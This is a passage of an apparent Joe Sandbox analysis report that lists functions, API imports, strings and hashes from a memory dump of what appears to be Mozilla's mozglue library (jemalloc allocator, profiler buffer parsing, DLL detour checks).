floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63EE2

Part of subcall function 6CA66180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CA661DD
Part of subcall function 6CA66180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CA6622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA640F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA6412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA64157

Part of subcall function 6CA66180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA66250
Part of subcall function 6CA66180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA66292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA6441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA64448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA6484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA64863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA64878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA64896
free.MOZGLUE ref: 6CA6489F

Strings

, xrefs: 6CA64CD2

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 50c6c38b39517657a136bf05d6a34fb0b1fe816c73ed2d5e9da88c8674f06f39
Instruction ID: b1d52576bffec14209d4841d12cd81b4d8e305be3eb0c8b9435d8b2c9f975b7a
Opcode Fuzzy Hash: 50c6c38b39517657a136bf05d6a34fb0b1fe816c73ed2d5e9da88c8674f06f39
Instruction Fuzzy Hash: 72F25A74909B818FC325CF29C09469AFBF1FFCA308F158A5ED98997711DB319896CB42

Function 6CA164C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA164DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA164F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA16505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA16518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA1652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA1671C
GetCurrentProcess.KERNEL32 ref: 6CA16724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA1672F
GetCurrentProcess.KERNEL32 ref: 6CA16759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA16764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA16A80
GetSystemInfo.KERNEL32(?), ref: 6CA16ABE
__Init_thread_footer.LIBCMT ref: 6CA16AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA16AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA16AF7

Strings

_etoured.dll, xrefs: 6CA164ED
nvd3d9wrap.dll, xrefs: 6CA16500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA16798
user32.dll, xrefs: 6CA16526
detoured.dll, xrefs: 6CA164DA
nvdxgiwrap.dll, xrefs: 6CA16513

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: f7217ebf0dd01ef3ae8d403e6ecc147597c06c4700fec92a34569a7bd83e32da
Instruction ID: f9d52128aea3fe9337578b3c836a52e07493932d4e9771e0aaa4835110584cf6
Opcode Fuzzy Hash: f7217ebf0dd01ef3ae8d403e6ecc147597c06c4700fec92a34569a7bd83e32da
Instruction Fuzzy Hash: 49F1B3709092299FDB20CF64CD48B9AB7B5EF46318F188299D819E7B41D731AEC5CF90

Function 6CA6C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA6C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA6C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CA6C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA6CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CA6DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CA6DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA6DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CA6E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CA6E472

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 511ec53144396aedd220481a1c249b12d03ec78082ec52683968a722c4abfd20
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 6B33BE71E0021ACFCB14CFA9C8806EDBBF2FF49314F284269D955ABB55D731A985CB90

Function 6CA1FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA8E7B8), ref: 6CA1FF81
LeaveCriticalSection.KERNEL32(6CA8E7B8), ref: 6CA2022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA20240
EnterCriticalSection.KERNEL32(6CA8E768), ref: 6CA2025B
LeaveCriticalSection.KERNEL32(6CA8E768), ref: 6CA2027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA1FE99, 6CA1FEB7, 6CA1FED3, 6CA20DB8, 6CA20DD3, 6CA219B4
: (malloc) Error in VirtualFree(), xrefs: 6CA20D67, 6CA20D7B, 6CA20DAC
<jemalloc>, xrefs: 6CA20D62, 6CA20D76, 6CA20DA7

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: e59a4d482682fa38a01fecf6453664eb60b0eba482c3d9aa410a0460dc7fcfb8
Instruction ID: 11ec08750eb4619cbc6c8b0534c1ff8639eae9e18bfc635a0c11467a1de7765c
Opcode Fuzzy Hash: e59a4d482682fa38a01fecf6453664eb60b0eba482c3d9aa410a0460dc7fcfb8
Instruction Fuzzy Hash: 7CC2DF71A057518FD714CF28C990716BBE1BF86328F2CC66DE9A98B795C735E881CB80

Function 6CA6E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CA6E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA6EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA6F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA6F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA70E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA70E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CA70EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CA70ED4

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 21c482230935c4b83a83fa4fe51f38663b616bc8d6fbff3220bc676ddf6ee987
Instruction ID: 9837f49e2561b01d7c019893b3cf1c900364e50247b186b165609a2f0784de4d
Opcode Fuzzy Hash: 21c482230935c4b83a83fa4fe51f38663b616bc8d6fbff3220bc676ddf6ee987
Instruction Fuzzy Hash: 33639E75E0024A8FCB14CFA9C8906DDFBB2FF89310F298269D455AB745D731A985CB90

Function 6CA2ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA2EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA2EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA31695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA316B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA31770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA31A3E

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: fd7ea15de307e21bbdab55a3cd108fb85306ddf30e889ebb0a8c06650eedcba7
Instruction ID: 4a4d7597cb48fd25a9cdda5858e8725ed76bbdcb694300c501644aeec5712ba3
Opcode Fuzzy Hash: fd7ea15de307e21bbdab55a3cd108fb85306ddf30e889ebb0a8c06650eedcba7
Instruction Fuzzy Hash: 1FB32C71E052298FCB14CFA9C890A9DB7B2FF49304F1982A9D549EB745D730AD86CF90

Function 6CA1FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA8E7B8), ref: 6CA1FF81
LeaveCriticalSection.KERNEL32(6CA8E7B8), ref: 6CA2022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA20240
EnterCriticalSection.KERNEL32(6CA8E768), ref: 6CA2025B
LeaveCriticalSection.KERNEL32(6CA8E768), ref: 6CA2027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA1FE99, 6CA1FEB7, 6CA1FED3, 6CA20DB8, 6CA20DD3, 6CA219B4, 6CA21A10
MOZ_CRASH(), xrefs: 6CA20CA7

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 62ef1cb436eade8399f660b23fd11770ef24bef65b339b08714038d5e484090b
Instruction ID: 1e8d96524025527afa7812a7af8a783e4f082e0a5ac9a9579559aa44180478ae
Opcode Fuzzy Hash: 62ef1cb436eade8399f660b23fd11770ef24bef65b339b08714038d5e484090b
Instruction Fuzzy Hash: E4B2CF716057518FD718CF28C590726BBE1BF85328F2CC66CE9AA8BB95D779D880CB40

Function 6CA55600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6CA56131
ProfileBuffer parse error: %s, xrefs: 6CA55AC8, 6CA55CBB
expected a Time entry, xrefs: 6CA55CB6
name, xrefs: 6CA55E79, 6CA55E8F
expected a Count entry, xrefs: 6CA55AC3
schema, xrefs: 6CA5606D

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 41997dce9774cbbf4f1c5502ae7de36ecadde71beb74839e7f74be765253792e
Instruction ID: 13abc173219364af869827acef5708cafc2283cdd185a4250a352d9f5f07eb5f
Opcode Fuzzy Hash: 41997dce9774cbbf4f1c5502ae7de36ecadde71beb74839e7f74be765253792e
Instruction Fuzzy Hash: B8927BB5A083418FD724CF28C59079AB7E1BFC9308F54891DE59A9B741DB30E899CB92

Function 6CA47E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CA48280, 6CA483E1
name, xrefs: 6CA47ECF, 6CA48335
schema, xrefs: 6CA481E3, 6CA48311
(pre-xul), xrefs: 6CA47E88

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: a50a51cbfa8649d23ab4a6b0916c22909c96d1a359c9441e43a2727127f216bc
Instruction ID: ffa5f4a566c53cccad0d645e50e5436b0582c5332a32221424794d48d265a796
Opcode Fuzzy Hash: a50a51cbfa8649d23ab4a6b0916c22909c96d1a359c9441e43a2727127f216bc
Instruction Fuzzy Hash: CCE160B1B043548BC710CF68894066BF7E9BFC5314F148A2DE895E7B90DBB4DD898B91

Function 6CA2D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA8E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA3D1C5), ref: 6CA2D4F2
LeaveCriticalSection.KERNEL32(6CA8E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA3D1C5), ref: 6CA2D50B

Part of subcall function 6CA0CFE0: EnterCriticalSection.KERNEL32(6CA8E784), ref: 6CA0CFF6
Part of subcall function 6CA0CFE0: LeaveCriticalSection.KERNEL32(6CA8E784), ref: 6CA0D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA3D1C5), ref: 6CA2D52E
EnterCriticalSection.KERNEL32(6CA8E7DC), ref: 6CA2D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA2D6A6
LeaveCriticalSection.KERNEL32(6CA8E7DC), ref: 6CA2D712
LeaveCriticalSection.KERNEL32(6CA8E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA3D1C5), ref: 6CA2D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA2D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CA2D82C
<jemalloc>, xrefs: 6CA2D827

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 225cda0a108663aeb81a56287f70ebac8c9c7b8485a116e832a959f1eb2a88be
Instruction ID: 39b0a7de10a3eca24d294caaadaf893cc5705dfaee728a25afced59636625771
Opcode Fuzzy Hash: 225cda0a108663aeb81a56287f70ebac8c9c7b8485a116e832a959f1eb2a88be
Instruction Fuzzy Hash: BF91E771E057118FD718CF28C59475AB7E1EF86314F18892ED59AC7B82D738E885CB82

Function 6CA25E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA25EDB
memset.VCRUNTIME140(6CA67765,000000E5,55CCCCCC), ref: 6CA25F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA25FB2
memset.VCRUNTIME140(6CA67765,000000E5,A8C09015), ref: 6CA261F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA27652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA27BCD, 6CA27C1F, 6CA27C34, 6CA280FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA272F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA2730D
MOZ_CRASH(), xrefs: 6CA27BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA272E3

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 96e4cb3a23aa6b1f6918a94b73f3ec63369aaccb01883d86e30661e8f34d8968
Instruction ID: c8cdde655b3c4d4770b6193674bbeb1a81434f8290c4d326f30e1ad432a720ed
Opcode Fuzzy Hash: 96e4cb3a23aa6b1f6918a94b73f3ec63369aaccb01883d86e30661e8f34d8968
Instruction Fuzzy Hash: B8337C716067118FC308CF29C590615BBE2BF85328F2DC6ADE969CB7A5D739E881CB41

Function 6CA64EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CA64EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA64F2E
moz_xmalloc.MOZGLUE ref: 6CA64F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CA64F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA652B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA652E6
Sleep.KERNEL32(00000010), ref: 6CA65481
free.MOZGLUE(?), ref: 6CA65498

Strings

(, xrefs: 6CA65250

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: e2f13799f1da909fbd5b0dfa888a9474e0e1c10fd36d68ffa8ceb5036a83465d
Instruction ID: c58620a9f01e7991412519fc9fbc5feea3c98a8f66fc22cb557225d3e8d4b1b6
Opcode Fuzzy Hash: e2f13799f1da909fbd5b0dfa888a9474e0e1c10fd36d68ffa8ceb5036a83465d
Instruction Fuzzy Hash: 18F1D171A19B028FC71ACF39C85062BB7F5BFD6284F05872EF846A7651DB319846CB81

Function 6CA52C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA52C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA52C61

Part of subcall function 6CA04DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA04E5A
Part of subcall function 6CA04DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA04E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA52C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA52E2D

Part of subcall function 6CA181B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA181DE

Strings

(root), xrefs: 6CA5354F
ProfileBuffer parse error: %s, xrefs: 6CA52E3B
expected a Time entry, xrefs: 6CA52E36

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: b327483e762e5ec2f6867c69e5dbf9cb578893ea4aafe0863cd328124b991ef0
Instruction ID: 3a1b7826a271bd32e4466c93defe85db1a409d69dc63dde12f7efaac9e1f3d70
Opcode Fuzzy Hash: b327483e762e5ec2f6867c69e5dbf9cb578893ea4aafe0863cd328124b991ef0
Instruction Fuzzy Hash: 6891F0716083408FC724CF28D4806AFB7F0AFC9358F948A1DE99A8B750DB30D899CB52

Function 6CA69E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CA69F3D
__aulldiv.LIBCMT ref: 6CA69F77
__aullrem.LIBCMT ref: 6CA69F8C
__aulldiv.LIBCMT ref: 6CA6A023

Strings

NaN, xrefs: 6CA69EAB
-Infinity, xrefs: 6CA69E60, 6CA69E7B

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b117316cf130be1c52b50853d5b20fbedfcdcb1e950cb79310cc84172ac76c9c
